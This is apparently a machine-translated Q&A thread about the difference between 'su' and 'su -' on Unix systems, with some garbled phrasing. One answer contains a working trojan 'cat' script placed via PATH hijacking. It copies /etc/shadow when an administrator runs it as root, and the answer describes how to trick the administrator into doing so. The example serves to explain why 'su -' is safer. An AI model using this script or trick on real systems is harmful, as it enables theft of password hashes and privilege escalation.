Answers:
su -
切换用户后调用登录外壳程序。登录shell会重置大多数环境变量,从而提供一个干净的基础。
su
只需切换用户,即可为普通外壳提供与旧用户几乎相同的环境。
想象一下,您是一名软件开发人员,对用户具有正常的计算机访问权限,而您无知的管理员将不会授予您root访问权限。让我们(希望)欺骗他。
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
现在,您问您的管理员为什么您不能cat
在主文件夹中创建虚拟文件,它根本无法工作!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
如果您的管理员不那么聪明或有点懒,他可能会来您的办公桌前尝试使用其超级用户功能:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
哇!谢谢,超级管理员!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
呵呵。
您可能会注意到损坏的$PATH
变量没有被重置。如果管理员su -
改为调用,则不会发生这种情况。
umask
类似000的数字,否则它将不起作用。
su
文件放在PATH中。模仿real的行为并不难su
。超级用户已经粗心反正:-)
su --
不同于su -
::--
告诉getopt(s)(或类似的)选项处理程序停止处理命令行的其他选项(例如,如果其余部分包含可以以'-'开头的文件名,则使用full)。即,在“ rm -i--f”中:-f然后被视为常规参数,因此这里是to 的文件名rm -i
,而不是命令的附加-f
选项rm
。su --
就是这样su
,不是su -
!su --
对于wag的(有趣而有启发性的)示例givan来说,这将是不安全的。使用su -
。
su -
完全以root用户身份登录,而以root用户身份登录su
。
最明显的例子~
是使用root的主目录su -
,但是使用自己的主目录su
。
根据您的系统,这也可能意味着提示PATH
,或历史记录文件中的差异。
因此,如果您是一个管理系统的团队的一员,并且您的同事为您提供了一个运行命令,那么您知道如果两者都在使用su -
,它的工作原理是一样的,但是,如果您俩都在使用su
,则可能会有差异不同的外壳配置。
另一方面,如果您想以根用户身份但使用自己的配置来运行命令,则可能su
对您更好。
也不要忘记sudo
,它具有-s
启动以root身份运行的shell 的选项。当然,这也有不同的规则,它们会根据您使用的发行版而变化。
.bashrc
or /etc/bashrc
或/etc/profile.d
脚本正在设置PATH
。寻找if [ $UID -eq 0 ]
或类似的东西。
$USER
例如保持不变。
sudo su
呢
我使用su-当我以常规用户身份进入目录但要切换到root并在切换后保留在同一目录中时。当您使用su-时,它会将用户切换到root用户,并且还将您带到/ root,即根主目录。
/
定义为根目录的主目录
su --
与相同su
。